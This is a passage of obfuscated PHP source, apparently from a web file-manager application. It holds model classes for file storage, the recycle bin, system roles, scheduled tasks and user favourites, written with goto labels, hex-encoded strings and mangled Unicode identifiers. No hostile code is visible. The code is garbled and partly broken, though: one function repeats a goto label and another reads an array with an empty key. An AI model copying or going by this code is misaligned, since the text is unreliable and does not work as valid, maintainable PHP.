$this->updateModifyTime($bݧٛ[$F[457]]); $f = $this->where(array($F[379] => $c¹))->data($E뉵)->save(); goto F; e紩: $F =& $_SERVER[ֹ]; $bݧٛ = $this->sourceInfo($c¹); if (!$bݧٛ) { return !1; } goto b傈; b: } public function setNamePinyin($AԈ, $CҊ˥, $Aۊ杋 = true) { $fŇ =& $_SERVER[ֹ]; $dƶ = Input::check($CҊ˥, $fŇ[524]); if ($Aۊ杋 && !$dƶ) { return; } if (!$dƶ) { $this->metaSet($AԈ, $fŇ[412], null); $this->metaSet($AԈ, $fŇ[411], null); return; } $a = array($fŇ[412] => str_replace($fŇ[50], $fŇ[33], Pinyin::encode($CҊ˥)), $fŇ[411] => Pinyin::encode($CҊ˥, $fŇ[525])); $this->metaSet($AԈ, $a); } public function getContent($Bǡ) { goto Aβ; B: if ($b[$A[77]] == 0) { return $A[33]; } $F֨Ѡ = $A[2328] . $b[$A[159]]; if ($b[$A[77]] <= 1024 * 10) { $dڥ = Cache::get($F֨Ѡ); if (!$dڥ) { $dڥ = IO::getContent($b[$A[75]]); Cache::set($F֨Ѡ, $dڥ); } return $dڥ; } goto C; C: return IO::getContent($b[$A[75]]); goto c궢; Aβ: $A =& $_SERVER[ֹ]; $b = $this->fileInfoGet($Bǡ); if (!$b) { return !1; } goto B; c궢: } public function setDesc($FȂӿ, $D) { $B鄻೷ =& $_SERVER[ֹ]; Model($B鄻೷[501])->eventAddDesc($FȂӿ, $D); return $this->metaSet($FȂӿ, $B鄻೷[401], $D); } public function setContent($b͐, $Eχ = '') { goto c̸; c̸: $c֮ =& $_SERVER[ֹ]; $BŜ = $this->sourceInfo($b͐); $B = $this->fileInfoGet($b͐); goto aʉLj; aʉLj: if (!$B || !$BŜ) { return !1; } $AŅ = Model($c֮[418])->addFileByContent($Eχ, $BŜ[$c֮[28]]); $aս‚ = $this->fileHistory($BŜ, $AŅ[$c֮[415]], $AŅ[$c֮[77]]); goto E໼܏; E໼܏: if (!$aս‚) { return Model($c֮[418])->remove($AŅ[$c֮[415]]); } $this->folderSizeReset($BŜ[$c֮[457]]); return !0; goto cʉϼ; cʉϼ: } public function fileSubstr($fٷ, $ǎ, $cĖ) { $cϣ = $this->fileInfoGet($fٷ); if (!$cϣ) { return !1; } return IO::fileSubstr($cϣ[$_SERVER[ֹ][75]], $ǎ, $cĖ); } public function fileInfoGet($Aط) { goto CЬݎ; d݃: $A燍 = $d쒚[421] . $CӇ[$d쒚[415]]; $aǑ΂ = _get(self::$cacheFileInfo, $A燍); if ($aǑ΂) { return $aǑ΂; } goto Bߔ; CЬݎ: $d쒚 =& $_SERVER[ֹ]; $CӇ = $this->sourceInfo($Aط); if (!$CӇ || $CӇ[$d쒚[366]]) { return !1; } goto d݃; Bߔ: $fƐ = Model($d쒚[418])->fileInfo($CӇ[$d쒚[415]]); if ($fƐ) { $fƐ[$d쒚[28]] = $CӇ[$d쒚[28]]; } self::$cacheFileInfo[$A燍] = $fƐ; goto Eג; Eג: return $fƐ; goto d; d: } private function folderChildrenNumber($fٵԊ) { $dՎ =& $_SERVER[ֹ]; $a̅ = $this->sourceInfo($fٵԊ); $a󎄱 = array($dՎ[521] => array($dՎ[479], $a̅[$dՎ[455]] . $fٵԊ . $dՎ[480]), $dՎ[392] => intval($a̅[$dՎ[393]]), $dՎ[514] => 1); $Bӷ = $this->where($a󎄱)->count(); $c͞Ƚ = $this->where($a󎄱)->where(array($dՎ[514] => 0))->count(); return array($dՎ[81] => $c͞Ƚ, $dՎ[82] => $Bӷ); } public function pathInfo($E슳, $d = false) { goto e߈; F䟸: if ($DĦ) { return $DĦ; } $fӻˑ = $this->sourceInfo($E슳); if (!$fӻˑ) { return !1; } goto F⠽; F⠽: $fӻˑ = $this->_listDataApplyItem($fӻˑ, $d); self::$cachePathInfo[$cܸӧ] = $fӻˑ; return $fӻˑ; goto fÔ; e߈: $d܃ =& $_SERVER[ֹ]; $cܸӧ = $d܃[407] . intval($d) . $d܃[408] . $E슳; $DĦ = _get(self::$cachePathInfo, $cܸӧ); goto F䟸; fÔ: } public static $cachePathInfoMore = array(); public function pathInfoMore($fٟ) { goto a; cˉ: $AɈ = $this->pathInfo($fٟ); if (!$AɈ) { return !1; } if ($AɈ[$f[366]] == $f[83]) { $AɈ[$f[80]] = $this->folderChildrenNumber($fٟ); } goto Fݶ; Fݶ: self::$cachePathInfoMore[$fٟ] = $AɈ; return $AɈ; goto E; a: $f =& $_SERVER[ֹ]; $Dֱވ = _get(self::$cachePathInfoMore, $fٟ); if ($Dֱވ) { return $Dֱވ; } goto cˉ; E: } public function sourceInfo($fї) { goto Cڍ; cѠ؉: $fǣ = _get(self::$cacheSourceInfo, $DΏϷ); if ($fǣ) { return $fǣ; } $a𠛤 = $this->where(array($F[365] => $fї))->find(); goto dץ; dץ: self::$cacheSourceInfo[$DΏϷ] = $a𠛤; return self::$cacheSourceInfo[$DΏϷ]; goto cʊ; Cڍ: $F =& $_SERVER[ֹ]; if (!$fї) { return array(); } $DΏϷ = $F[406] . $fї; goto cѠ؉; cʊ: } public function sourceCacheClear($aԐ = false) { if ($aԐ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); return; } unset(self::$cacheSourceInfo[$_SERVER[ֹ][406] . $aԐ]); } public function pathInfoByPath($eㄗ, $B) { $F =& $_SERVER[ֹ]; $A = !$B ? array() : explode($F[8], trim($B, $F[8])); $Cߩ = $eㄗ; foreach ($A as $fɵ) { $cѼ = array($F[457] => $Cߩ, $F[28] => $fɵ); $cõ = $this->where($cѼ)->select(); if (!$cõ) { return !1; } $cõ = array_sort_by($cõ, $F[393]); $Cߩ = $cõ[0][$F[365]]; } return $this->pathInfo($Cߩ, !0); } protected function updateModifyTime($aؾ) { goto C͹; f: $this->where($dճ)->save($DܶО); goto cΣċ; C͹: $Bؗ =& $_SERVER[ֹ]; if (!$aؾ) { return; } if (!is_array($aؾ)) { $aؾ = array($aؾ); } goto Fޅ; Fޅ: foreach ($aؾ as $e => $aĴ) { $aؾ[$e] = intval($aĴ); } $dճ = array($Bؗ[365] => array($Bؗ[7], $aؾ)); $DܶО = array($Bؗ[520] => USER_ID, $Bؗ[386] => time()); goto f; cΣċ: } public function folderSizeReset($e딹) { goto e鎦܇; eў: $c񉎉 = $this->parentLevelArray($c̡[$A씛[455]]); if ($c񉎉) { $c = array($A씛[365] => array($A씛[380], $c񉎉)); if ($E釿 < 0) { $c[$A씛[77]] = array($A씛[925], abs($E釿)); } $this->where($c)->setAdd($A씛[77], $E釿); } $this->targetSpaceUpdate($c̡[$A씛[367]], $c̡[$A씛[452]]); goto e; Fđ켼: $E釿 = $a꠴ - intval($c̡[$A씛[77]]); if ($E釿 == 0) { return CacheLock::unlock($a); } $this->where(array($A씛[379] => $e딹))->setField($A씛[77], $a꠴); goto eў; Cܡ: CacheLock::lock($a, 20); $this->sourceCacheClear($e딹); $c̡ = $this->sourceInfo($e딹); goto aڙ; e: CacheLock::unlock($a); goto FՉ񮟂; e鎦܇: $A씛 =& $_SERVER[ֹ]; if ($this->statusIgnoreResetSpace) { return; } $a = $A씛[2329] . $e딹; goto Cܡ; aڙ: $c = array($A씛[364] => $e딹, $A씛[392] => 0); $a꠴ = $this->where($c)->sum($A씛[77]); $a꠴ = intval($a꠴); goto Fđ켼; FՉ񮟂: } public function folderSizeResetChildren($fШ) { goto CƑԯ; b趉: $E쇞 = array($bȂ[514] => 1, $bȂ[521] => array($bȂ[479], $Dٹ[$bȂ[455]] . $fШ . $bȂ[480])); $dȸ = $bȂ[2330]; $Fߓʅ = $this->field($dȸ)->where($E쇞)->select(); goto bР; bР: $E쇞[$bȂ[366]] = 0; $fͽ = $this->field($dȸ)->where($E쇞)->select(); if (!$fͽ) { return; } goto e; e: $Fߓʅ[] = $Dٹ; $Fߓʅ = array_to_keyvalue($Fߓʅ, $bȂ[365]); foreach ($Fߓʅ as $c => $c) { $Fߓʅ[$c][$bȂ[2331]] = $Fߓʅ[$c][$bȂ[77]]; $Fߓʅ[$c][$bȂ[77]] = 0; } goto b؃; CƑԯ: $bȂ =& $_SERVER[ֹ]; $this->sourceCacheClear($fШ); $Dٹ = $this->sourceInfo($fШ); goto b趉; b؃: foreach ($fͽ as $c) { $B = $c[$bȂ[457]] . $bȂ[33]; if (!isset($Fߓʅ[$B])) { continue; } if ($c[$bȂ[393]] == $Fߓʅ[$B][$bȂ[393]]) { $Fߓʅ[$B][$bȂ[77]] += $c[$bȂ[77]]; } } foreach ($Fߓʅ as $c) { $Cɧ = $this->parentLevelArray($c[$bȂ[455]]); foreach ($Cɧ as $B) { $B = $B . $bȂ[33]; if (!isset($Fߓʅ[$B])) { continue; } if ($c[$bȂ[393]] == $Fߓʅ[$B][$bȂ[393]]) { $Fߓʅ[$B][$bȂ[77]] += $c[$bȂ[77]]; } } } $fœ = array(); goto E; E: foreach ($Fߓʅ as $c) { if ($c[$bȂ[77]] == $c[$bȂ[2331]]) { continue; } $fœ[] = array($bȂ[365], $c[$bȂ[365]], $bȂ[77], $c[$bȂ[77]]); } $this->saveAll($fœ); goto B˟۸; B˟۸: } public function userSpaceReset($d = false) { $F =& $_SERVER[ֹ]; $F = $this->where(array($F[367] => self::TYPE_USER, $F[452] => $d, $F[366] => 0))->sum($F[77]); Model($F[470])->userEdit($d, array($F[2065] => $F)); } public function targetSpaceUpdate($Eȩ, $BЖ) { $aܳ =& $_SERVER[ֹ]; if (!$BЖ) { return; } if (!in_array($Eȩ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $b՟ = $this->targetSpaceSize($Eȩ, $BЖ); if ($Eȩ == self::TYPE_USER) { Model($aܳ[470])->userEdit($BЖ, array($aܳ[2065] => $b՟)); } else { if ($Eȩ == self::TYPE_GROUP) { Model($aܳ[454])->groupEdit($BЖ, array($aܳ[2065] => $b՟)); } } } public function targetSpaceSize($f΅, $Eɢ) { goto DЅ; AƼ: $Aȧ = floatval($Fɥ[$aȈ[77]]); $d䋉 = array($aȈ[521] => array($aȈ[479], $aȈ[466] . $Fɥ[$aȈ[365]] . $aȈ[480])); $b½ = Model($aȈ[391])->field($aȈ[379])->where($d䋉)->select(); goto E팦; DЅ: $aȈ =& $_SERVER[ֹ]; $Fɥ = $this->sourceRoot($f΅, $Eɢ, !0); if (!$Fɥ) { return 0; } goto AƼ; E팦: $b½ = array_to_keyvalue($b½, $aȈ[33], $aȈ[365]); $b½ = array_unique(array_filter($b½)); if ($b½) { $d䋉 = array($aȈ[379] => array($aȈ[380], $b½)); $Aȧ += floatval($this->where($d䋉)->sum($aȈ[77])); } goto DĂ; DĂ: return $Aȧ; goto Eӧ̎; Eӧ̎: } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($F޶) { return $this->fileTypeProfile($F޶, SourceModel::TYPE_USER); } public function groupFileTypeProfile($d݋˟) { return $this->fileTypeProfile($d݋˟, SourceModel::TYPE_GROUP); } private function fileTypeProfile($C׶, $aڢ) { goto aǐ; Bƴ: if ($Eڃ칹) { return $Eڃ칹; } $FȈ = array($a՘[514] => 0); if ($C׶ != !1) { $FȈ[$a՘[452]] = $C׶; $FȈ[$a՘[367]] = $aڢ; } goto d; aǐ: $a՘ =& $_SERVER[ֹ]; $b = $a՘[2332] . $C׶ . $a՘[70] . $aڢ; $Eڃ칹 = Cache::get($b); goto Bƴ; eęλ: foreach ($fݒ as $dǥ => $c) { $FȈ[$a՘[368]] = $this->fileTypeWhere($dǥ); $A‹Ą[$dǥ] = array($a՘[2334] => $c[$a՘[28]], $a՘[2335] => $this->where($FȈ)->count(), $a՘[516] => $this->where($FȈ)->sum($a՘[77])); } Cache::set($b, $A‹Ą, 1200); return $A‹Ą; goto Bކ; d: $A‹Ą = array(); $A‹Ą[$a՘[2333]] = array($a՘[2334] => LNG($a՘[2333]), $a՘[2335] => $this->where($FȈ)->count(), $a՘[516] => $this->where($FȈ)->sum($a՘[77])); $fݒ = KodIO::fileTypeList(); goto eęλ; Bކ: } public function fileNameExist($B֗, $c񒢲) { $Dӹ՗ =& $_SERVER[ֹ]; $DŌ = $this->childList($B֗); foreach ($DŌ as $bņ) { if ($bņ[$Dӹ՗[28]] == $c񒢲) { return $bņ[$Dӹ՗[365]]; } } return !1; } public function childList($b׼) { goto bЧ䋣; b݉: $C = array($c[457] => intval($b׼), $c[393] => 0); $D = $this->where($C)->select(); $D = $D ? $D : array(); goto D癫; D癫: self::$cacheChildList[$Eڛ] = $D; foreach ($D as $Bٷ) { $Eڛ = $c[406] . $Bٷ[$c[365]]; self::$cacheSourceInfo[$Eڛ] = $Bٷ; } return $D; goto dъȊ; bЧ䋣: $c =& $_SERVER[ֹ]; $Eڛ = $c[2313] . $b׼; if (isset(self::$cacheChildList[$Eڛ])) { return self::$cacheChildList[$Eڛ]; } goto b݉; dъȊ: } public function fileNameAuto($E߈, $DʌՈ, $aϋ = REPEAT_RENAME, $F = false) { $Eܶ =& $_SERVER[ֹ]; $AӜ = $this->childList($E߈); $bՉؚ = array_to_keyvalue($AӜ, $Eܶ[33], $Eܶ[28]); return $this->fileNameAutoGet($bՉؚ, $DʌՈ, $aϋ, $F); } public function fileNameAutoGet($F׬, $C˜, $F눥, $DŅ) { $bڳ =& $_SERVER[ֹ]; if ($F눥 == REPEAT_REPLACE || !$F׬ || !in_array_not_case($C˜, $F׬) || $DŅ && $F눥 != REPEAT_RENAME_FOLDER) { return $C˜; } if ($F눥 == REPEAT_SKIP) { return !1; } $cӆ = $bڳ[91] . get_path_ext($C˜); $cӆ = $cӆ == $bڳ[91] || $DŅ ? $bڳ[33] : $cӆ; for ($fվ = 1; $fվ <= count($F׬) + 1; $fվ++) { $bˏ = substr($C˜, 0, strlen($C˜) - strlen($cӆ)); $eшИ = $bˏ . "\50{$fվ}\x29{$cӆ}"; if (!in_array_not_case($eшИ, $F׬)) { return $eшИ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\165\x72\x63\x65\137\162\145\143\171\x63\154\145"; protected $dataAuto = array(array("\x63\x72\145\x61\x74\145\124\x69\x6d\145", "\x74\x69\x6d\145", "\x69\x6e\x73\145\x72\x74", "\146\x75\156\143\164\x69\x6f\156")); public function listData($fǂܑ = false) { $D؛ =& $_SERVER[ֹ]; $fǂܑ = $fǂܑ ? $fǂܑ : USER_ID; $e = $this->where(array($D؛[1406] => $fǂܑ))->select(); return array_to_keyvalue($e, $D؛[33], $D؛[365]); } public function moveToRecycle($f) { goto BΗ̸; BΗ̸: $C汖 =& $_SERVER[ֹ]; $dω = Model($C汖[1104]); $E󺲡 = $dω->sourceInfo($f); goto b; b: if (!$E󺲡 || $E󺲡[$C汖[393]] == $C汖[83]) { return; } $dԖ = array($C汖[379] => $f, $C汖[1406] => USER_ID, $C汖[517] => $E󺲡[$C汖[367]], $C汖[518] => $E󺲡[$C汖[452]], $C汖[521] => $E󺲡[$C汖[455]]); $this->add($dԖ); goto cӥ; cӥ: $this->recycleMove($f, 1); if ($E󺲡[$C汖[366]] == $C汖[83]) { $d˕Ӣ = array($C汖[521] => array($C汖[479], $E󺲡[$C汖[455]] . $f . $C汖[480])); $dω->where($d˕Ӣ)->setField($C汖[393], 1); } goto dѤЅ; dѤЅ: } public function clear() { $this->remove(!1); } public function remove($d뿘 = false) { goto d; D: foreach ($cԥު as $aش) { $E顅ߪ->targetSpaceUpdate($aش[$eūғ[367]], $aش[$eūғ[452]]); } goto B•; d: $eūғ =& $_SERVER[ֹ]; $E顅ߪ = Model($eūғ[1104]); $B犃 = $this->listData(); goto D˺; D˺: $d뿘 = $d뿘 === !1 ? !1 : $d뿘; $cԥު = array(); foreach ($B犃 as $e¤̽) { if ($d뿘 != !1 && !in_array($e¤̽, $d뿘)) { continue; } $E顅ߪ->remove($e¤̽, !1); $AΫ≑ = $this->where(array($eūғ[365] => $e¤̽))->find(); $D߱ = $AΫ≑[$eūғ[367]] . $eūғ[70] . $AΫ≑[$eūғ[452]]; $cԥު[$D߱] = array($eūғ[517] => $AΫ≑[$eūғ[367]], $eūғ[452] => $AΫ≑[$eūғ[452]]); $this->where(array($eūғ[365] => $e¤̽))->delete(); } goto D; B•: } public function restore($C߰ಹ = false) { goto Dҍ; Dҍ: $f孯 =& $_SERVER[ֹ]; $cȂÖ = Model($f孯[1104]); $cķ = $this->listData(); goto Dۨٔ; Dۨٔ: $C߰ಹ = $C߰ಹ == !1 ? !1 : $C߰ಹ; if (!$cķ) { return !0; } $B鵶 = array(); goto f좘; f좘: foreach ($cķ as $AŢȖ) { goto dҙ҃; D: $B鵶[] = $bظ[$f孯[457]]; if ($bظ[$f孯[366]] == $f孯[83]) { $B鵶[] = $AŢȖ; } $cȂÖ->lockMoveEnd($AŢȖ); goto Ę׶; e: if ($e؆[$f孯[393]] == $f孯[83]) { continue; } $cȂÖ->lockMoveStart($AŢȖ); $this->recycleMove($AŢȖ, 0); goto BǨ; BǨ: if ($bظ[$f孯[366]] == $f孯[83]) { $aؔ㰹 = array($f孯[521] => array($f孯[479], $bظ[$f孯[455]] . $AŢȖ . $f孯[480])); $cȂÖ->where($aؔ㰹)->setField($f孯[393], 0); $this->restoreFolderChildren($AŢȖ, $cķ); } $this->where(array($f孯[365] => $AŢȖ))->delete(); $cȂÖ->folderSizeReset($bظ[$f孯[457]]); goto D; dҙ҃: if ($C߰ಹ != !1 && !in_array($AŢȖ, $C߰ಹ)) { continue; } $bظ = $cȂÖ->sourceInfo($AŢȖ); $e؆ = $cȂÖ->sourceInfo($bظ[$f孯[457]]); goto e; Ę׶: } $cȂÖ->updateModifyTime($B鵶); goto Fԍ; Fԍ: } private function restoreFolderChildren($eĂ, $C̵) { goto B킄Ո; B킄Ո: $c =& $_SERVER[ֹ]; $Fӄ = Model($c[1104]); $BǶפ = array($c[365] => array($c[7], array())); goto eݗԯ; c: $BǶפ[$c[365]][1] = array_unique($BǶפ[$c[365]][1]); $BǶפ[$c[910]] = $c[2160]; $Fӄ->where($BǶפ)->setField($c[393], 1); goto e; eݗԯ: foreach ($C̵ as $B켆ɸ) { if ($B켆ɸ == $eĂ) { continue; } if (!$Fӄ->isParentOf($eĂ, $B켆ɸ)) { continue; } $bǜ֣ = $Fӄ->sourceInfo($B켆ɸ); if ($bǜ֣[$c[366]] == $c[83]) { $BǶפ[] = array($c[521] => array($c[479], $bǜ֣[$c[455]] . $B켆ɸ . $c[480])); } else { $BǶפ[$c[365]][1][] = $B켆ɸ; } } if (!$BǶפ[$c[365]][1]) { unset($BǶפ[$c[365]]); } if (!$BǶפ) { return; } goto c; e: } private function recycleMove($f҉, $cή = 1) { $a̺Ũ =& $_SERVER[ֹ]; $c = Model($a̺Ũ[1104]); $d = Model($a̺Ũ[2336]); $E = array($a̺Ũ[365] => $f҉); if ($cή) { $c->where($E)->setField($a̺Ũ[393], 1); $d->eventRecycle($f҉, $a̺Ũ[2337]); } else { $CɅ = $c->where($E)->find(); $B = $CɅ[$a̺Ũ[366]] == $a̺Ũ[83]; $Fʐ = $c->fileNameAuto($CɅ[$a̺Ũ[457]], $CɅ[$a̺Ũ[28]], REPEAT_RENAME_FOLDER, $B); if ($Fʐ != $CɅ[$a̺Ũ[28]]) { $c->rename($f҉, $Fʐ); } $c->where($E)->setField($a̺Ũ[393], 0); $d->eventRecycle($f҉, $a̺Ũ[2338]); } } } goto f꺛; eٷ: class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\x65\x6d\x2e\x72\157\154\x65\114\151\x73\164"; public $field = array("\156\141\155\x65", "\x61\x75\x74\x68", "\x6c\x61\x62\x65\154", "\144\x69\163\x70\154\141\x79", "\163\x79\x73\164\x65\x6d", "\x64\x65\x73\143", "\151\x67\x6e\157\162\x65\105\170\x74", "\x69\147\x6e\157\162\145\106\151\154\145\x53\151\x7a\x65", "\141\x64\x6d\x69\156\x69\163\x74\162\141\164\x6f\x72", "\x73\157\162\x74"); public function listData($a = false, $dݔ = "\x73\157\162\164", $b = false) { return parent::listData($a, $dݔ, $b); } public function update($dЃ, $D狐) { goto B÷; Dӕ: if (!$fdz || $F翯 && $F翯[$bʿ®[363]] != $fdz[$bʿ®[363]]) { return !1; } if ($F翯[$bʿ®[2456]] == 1) { $D狐 = array($bʿ®[28] => $D狐[$bʿ®[28]], $bʿ®[2097] => $D狐[$bʿ®[2097]]); } $this->filterAuth($D狐[$bʿ®[372]]); goto c; B÷: $bʿ® =& $_SERVER[ֹ]; $fdz = parent::listData($dЃ); $F翯 = $this->findByName($D狐[$bʿ®[28]]); goto Dӕ; c: return parent::update($dЃ, $D狐); goto fƺŗ; fƺŗ: } public function remove($F) { $B벺 = parent::listData($F); if (!$B벺 || $B벺[$_SERVER[ֹ][1074]]) { return !1; } return parent::remove($F); } public function add($FͲ) { goto f; f: $f򇮆 =& $_SERVER[ֹ]; $Dˆې = $FͲ[$f򇮆[28]]; if ($this->findByName($Dˆې)) { return !1; } goto D; D: $EƤ = array($f򇮆[382] => $Dˆې, $f򇮆[2085] => $f򇮆[33], $f򇮆[2081] => $f򇮆[2098], $f򇮆[2457] => 1, $f򇮆[2084] => 0, $f򇮆[2458] => 0, $f򇮆[2083] => $this->getSort()); $FͲ = array_merge($EƤ, $FͲ); $this->filterAuth($FͲ[$f򇮆[372]]); goto d퍦߇; d퍦߇: return parent::insert($FͲ); goto c; c: } private function getSort() { $d̞ =& $_SERVER[ֹ]; $C̥ = parent::listData(); $e = array_to_keyvalue($C̥, $d̞[33], $d̞[2100]); return empty($e) ? 0 : max($e) + 1; } private function filterAuth(&$Eܾ͝) { $a =& $_SERVER[ֹ]; $Dޏ = array(); $AՕ = array_filter(explode($a[47], $Eܾ͝)); foreach ($AՕ as $Eܾ͝) { $fע = explode($a[91], $Eܾ͝); if ($fע[0] == $a[1759] && $fע[1] != $a[1030]) { $cţ = $fע[0] . $a[91] . $fע[1] . $a[2459]; if (!in_array($cţ, $AՕ)) { $Dޏ[] = $cţ; } } $Dޏ[] = $Eܾ͝; } $Eܾ͝ = implode($a[47], $Dޏ); } public function sort($fދ, $A독ѿ) { return parent::update($fދ, $A독ѿ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\x65\x6d\x2e\x74\141\163\153\x4c\151\163\164"; public $field = array("\x6e\141\x6d\145", "\164\171\x70\x65", "\x65\x76\145\156\x74", "\x74\x69\155\x65", "\144\145\x73\143", "\163\171\x73\x74\x65\x6d", "\x65\156\141\x62\154\145", "\x6c\x61\x73\164\x52\x75\x6e", "\x73\157\x72\164"); public function listData($Dط = false, $a鮥 = "\x73\157\x72\x74", $cݡ = false) { return parent::listData($Dط, $a鮥, $cݡ); } public function add($eς) { $bҳ =& $_SERVER[ֹ]; $FՈ˶ = $this->findByName($eς[$bҳ[28]]); if ($FՈ˶) { return !1; } $eς[$bҳ[1380]] = 0; $eς[$bҳ[2100]] = $this->getSort(); return parent::insert($eς); } private function getSort() { $D =& $_SERVER[ֹ]; $Eг = parent::listData(); $dɤ = array_to_keyvalue($Eг, $D[33], $D[2100]); return empty($dɤ) ? 0 : max($dɤ) + 1; } public function update($C׌̋, $D͢) { $aѤ =& $_SERVER[ֹ]; $aյ = $this->listData($C׌̋); $F = $this->findByName($D͢[$aѤ[28]]); if (!$aյ || $F && $F[$aѤ[363]] != $aյ[$aѤ[363]]) { return !1; } return parent::update($C׌̋, $D͢); } public function remove($CȥА, $C떏 = false) { $bМ =& $_SERVER[ֹ]; $a = $this->listData($CȥА); if (!$a) { return; } if (!$C떏 && $a[$bМ[1074]] == $bМ[83]) { return !1; } return parent::remove($CȥА); } public function enable($f“, $Fޙ) { return $this->update($f“, array($_SERVER[ֹ][2450] => $Fޙ)); } public function run($Bč) { return $this->update($Bč, array($_SERVER[ֹ][2460] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\145\162\x5f\146\x61\x76"; protected function cacheFunctionAlias($Dѳ) { $c頛à =& $_SERVER[ֹ]; return array($c頛Ã[2461] => array(USER_ID, $c頛Ã[2462])); } protected function listData() { $c =& $_SERVER[ֹ]; $Bǐ = array($c[1406] => USER_ID, $c[432] => 0); $A = $c[2463]; $Dܰா = $this->field($A)->where($Bǐ)->order($c[2464])->select(); return $Dܰா ? $Dܰா : array(); } protected function resetCache() { } protected function listView() { goto c; c: $důѱ =& $_SERVER[ֹ]; $aċ揳 = $this->listData(); $A喘 = array_filter_by_field($aċ揳, $důѱ[29], $důѱ[378]); goto b봎; b봎: $Dޕ = array_to_keyvalue($A喘, $důѱ[33], $důѱ[75]); if (!$Dޕ) { return $aċ揳; } $eۆ = 2000; goto CǸ᭳; b: $Cڠ = array_to_keyvalue($Cڠ, $důѱ[365]); foreach ($aċ揳 as $e => $A) { $C = $Cڠ[$A[$důѱ[75]]]; $C = $C ? $C : array(); $aċ揳[$e] = array_merge($C, $A); } return $aċ揳; goto e͒; CǸ᭳: $dҪ = array($důѱ[379] => array($důѱ[380], $Dޕ)); $Cڠ = Model($důѱ[749])->listSource($dҪ, $eۆ); $Cڠ = array_merge($Cڠ[$důѱ[73]], $Cڠ[$důѱ[74]]); goto b; e͒: } protected function addFav($aۗ, $Eƚˇ = '', $AʰȎ = "\x73\x6f\x75\162\x63\145") { goto BꝐ; Ȧ: return $this->add($B); goto fꇹ; eȈ: $Eې = array($fȡ[1406] => USER_ID, $fȡ[432] => 0); $D = $this->where($Eې)->max($fȡ[2100]); if (!$D) { $D = 0; } goto a; a: if (!$Eƚˇ && $AʰȎ == $fȡ[378]) { $b۞ = Model($fȡ[1104])->where(array($fȡ[379] => $aۗ))->find(); if (!$b۞) { return !1; } $Eƚˇ = $b۞[$fȡ[28]]; } $Eƚˇ = $this->getAutoName($Eƚˇ); $B = array($fȡ[1406] => USER_ID, $fȡ[432] => 0, $fȡ[382] => $Eƚˇ, $fȡ[383] => $aۗ, $fȡ[384] => $AʰȎ, $fȡ[2083] => $D + 1); goto Ȧ; BꝐ: $fȡ =& $_SERVER[ֹ]; $Eې = array($fȡ[1406] => USER_ID, $fȡ[432] => 0, $fȡ[384] => $AʰȎ, $fȡ[383] => $aۗ); if ($this->where($Eې)->find()) { return !1; } goto eȈ; fꇹ: } protected function remove($aӕ) { $aƒѸ =& $_SERVER[ֹ]; $b = array($aƒѸ[1406] => USER_ID, $aƒѸ[381] => $aӕ); return $this->where($b)->delete(); } protected function removeByName($bƒʣ) { $D =& $_SERVER[ֹ]; $eְ = array($D[1406] => USER_ID, $D[382] => $bƒʣ, $D[432] => 0); return $this->where($eְ)->delete(); } protected function rename($F, $B) { $c =& $_SERVER[ֹ]; if ($F == $B) { return !1; } $D߽ = $this->getAutoName($B); if ($B != $D߽) { return !1; } $bѪ = array($c[1406] => USER_ID, $c[432] => 0, $c[28] => $F); return $this->where($bѪ)->save(array($c[28] => $B)); } protected function resetSort($F) { $eԇ =& $_SERVER[ֹ]; $F = is_array($F) ? $F : array(); $aΣ坰 = array($eԇ[1406] => USER_ID); for ($Dٌ = 0; $Dٌ < count($F); $Dٌ++) { $aΣ坰[$eԇ[381]] = $F[$Dٌ]; $this->where($aΣ坰)->save(array($eԇ[2083] => $Dٌ + 1)); } return !0; } protected function moveTop($f) { goto FƳф; C㜷: if (!$aš) { return; } $c = $this->field($cˑ[363])->where($bՌ܆)->order($cˑ[2464])->select(); $c = array_to_keyvalue($c, $cˑ[33], $cˑ[363]); goto cډ񐔪; C: return $this->resetSort($c); goto Cۘ; FƳф: $cˑ =& $_SERVER[ֹ]; $bՌ܆ = array($cˑ[1406] => USER_ID, $cˑ[432] => 0); $aš = $this->where($bՌ܆)->where(array($cˑ[28] => $f))->find(); goto C㜷; cډ񐔪: $b = $c; $c = array_remove_value($c, $aš[$cˑ[363]]); array_unshift($c, $aš[$cˑ[363]]); goto C; Cۘ: } protected function moveBottom($bݾ쳼) { $e⇖ =& $_SERVER[ֹ]; $d = array($e⇖[1406] => USER_ID, $e⇖[432] => 0); $d = $this->where($d)->max($e⇖[2100]); $ELJ = array($e⇖[2100] => $d + 1); return $this->where($d)->where(array($e⇖[28] => $bݾ쳼))->save($ELJ); } private function getAutoName($DͭɃ) { goto FƑȊ; cƪ: return $DͭɃ . "\x28{$e}\51"; goto f炄; c: $Bל = array_to_keyvalue($Bל, $Cũ[33], $Cũ[28]); if (!$Bל || !in_array($DͭɃ, $Bל)) { return $DͭɃ; } for ($e = 0; $e < count($Bל); $e++) { if (!in_array($DͭɃ . "\x28{$e}\x29", $Bל)) { return $DͭɃ . "\50{$e}\51"; } } goto cƪ; FƑȊ: $Cũ =& $_SERVER[ֹ]; $a؄ = array($Cũ[1406] => USER_ID, $Cũ[432] => 0); $Bל = $this->field($Cũ[28])->where($a؄)->select(); goto c; f炄: } } goto fՒֹԛ; BԞ: function Action($D = '') { goto cӊ; B: if (isset($f򑃐[$eةꮕ])) { return $f򑃐[$eةꮕ]; } if (is_file($A̅)) { include_once $A̅; } if (!class_exists($FƟ)) { return actionCallError("\133{$D}\x20\x3d\x3e\40{$FƟ}\x5d\x20\143\x6c\141\163\x73\x20\x6e\157\164\40\x65\170\x69\163\x74\x73\41"); } goto BŌ܈; cӊ: $b׏ =& $_SERVER[]; static $f򑃐 = array(); $c = $D; goto E; E: if (isset($f򑃐[$c])) { return $f򑃐[$c]; } $D = trim(str_replace($b׏[4], $b׏[5], $D), $b׏[4]); $aߜנ = explode($b׏[5], $D); goto B; BŌ܈: $f򑃐[$eةꮕ] = new $FƟ(); $f򑃐[$c] = $f򑃐[$eةꮕ]; return $f򑃐[$eةꮕ]; goto dʿŖ; B: $EΏ = strtolower($aߜנ[0]); if (substr($EΏ, -6) == $b׏[6]) { $D = substr($aߜנ[0], 0, -6); $FƟ = $D . $b׏[7]; 